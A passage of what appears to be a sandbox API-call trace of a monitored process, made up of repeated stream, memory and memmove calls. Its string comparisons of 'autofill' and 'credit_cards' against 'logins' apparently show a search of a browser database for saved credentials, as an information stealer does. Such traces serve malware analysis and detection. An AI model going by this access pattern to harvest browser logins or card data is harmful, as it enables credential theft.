IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0056.532] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x90) returned 0x30da28 [0056.532] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.532] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.532] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2d, cb=0x0, dwLockType=0x0) returned 0x0 [0056.532] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.532] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30db80 [0056.532] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.533] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.533] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2d4a98 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2d4a98) returned 0x0 [0056.533] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x2ccb68 [0056.533] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.533] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.533] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.533] lstrcmpiA (lpString1="autofill", lpString2="logins") returned -1 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x6147, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x6147, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x6148, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x6149, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.533] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.533] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc188, libOffset=0x614a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.533] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.533] LocalAlloc (uFlags=0x40, uBytes=0x98) returned 0x2cee18 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.533] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.533] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ceeb8 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x2cc810 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d900 [0056.534] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.534] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cc810 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0xc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cef58 [0056.534] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.534] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cc810 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x18, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x2cc810) returned 0x0 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ceff8 [0056.534] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.534] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.534] IStream:LockRegion (This=0x2cc1d8, libOffset=0x24, cb=0x0, dwLockType=0x0) returned 0x0 [0056.534] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.534] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2cc810 [0056.535] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.535] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.535] LocalAlloc (uFlags=0x40, uBytes=0x1c6) returned 0x30d998 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x25, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d998) returned 0x0 [0056.535] LocalAlloc (uFlags=0x40, uBytes=0x1ce) returned 0x30db68 [0056.535] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.535] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.535] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.535] lstrcmpiA (lpString1="credit_cards", lpString2="logins") returned -1 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x610e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x610e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x610f, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.535] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.535] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc188, libOffset=0x6110, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.535] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.535] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2ceff8 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0056.535] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.535] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f56b) returned 0x0 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cef58 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x30d900 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30d900) returned 0x0 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x30d990 [0056.536] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.536] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x30da28 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30da28) returned 0x0 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x30dad0 [0056.536] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.536] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30da28 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x2a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x30da28) returned 0x0 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x94) returned 0x2cee18 [0056.536] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.536] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.536] IStream:LockRegion (This=0x2cc1d8, libOffset=0x36, cb=0x0, dwLockType=0x0) returned 0x0 [0056.536] IStream:SetSize (This=0x2cc1d8, libNewSize=0x21f57b) returned 0x0 [0056.536] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x30da28 [0056.537] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0056.537] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0056.537] LocalAlloc (uFlags=0x40, uBytes=0x88) returned 0x30d900 [0056.537] IUnknown:Release (This=0x2cc1d8) returned 0x0 [0056.537] lstrcmpiA (lpString1="credit_cards", lpString2="logins") returned -1 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x7f6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x7f6, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f620) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x7fa, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5f3) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6800, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6800, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5cb) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6801, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6803, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6805, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6807, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5cb) returned 0x0 [0056.537] LocalAlloc (uFlags=0x40, uBytes=0x10080) returned 0x2fd878 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6808, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x680a, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x680c, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x680e, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.537] IStream:LockRegion (This=0x2cc188, libOffset=0x6810, cb=0x0, dwLockType=0x0) returned 0x0 [0056.537] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6812, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6814, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6816, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6818, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f5e8) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6bdc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6bdc, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6bdd, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6bde, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x21f59b) returned 0x0 [0056.538] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x30d900 [0056.538] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21f5c0 | out: ppstm=0x21f5c0*=0x2cc1d8) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0056.538] IStream:LockRegion (This=0x2cc188, libOffset=0x6bdf, cb=0x0, dwLockType=0x0) returned 0x0 [0056.538] IStream:SetSize (This=0x2cc188, libNewSize=0x30d900) returned 0x0 [0056.538] IStream:Commit (This=0x2cc1d8, grfCommitFlags=0x30d900) returned 0x0 [0056.538] IStream:LockRegion 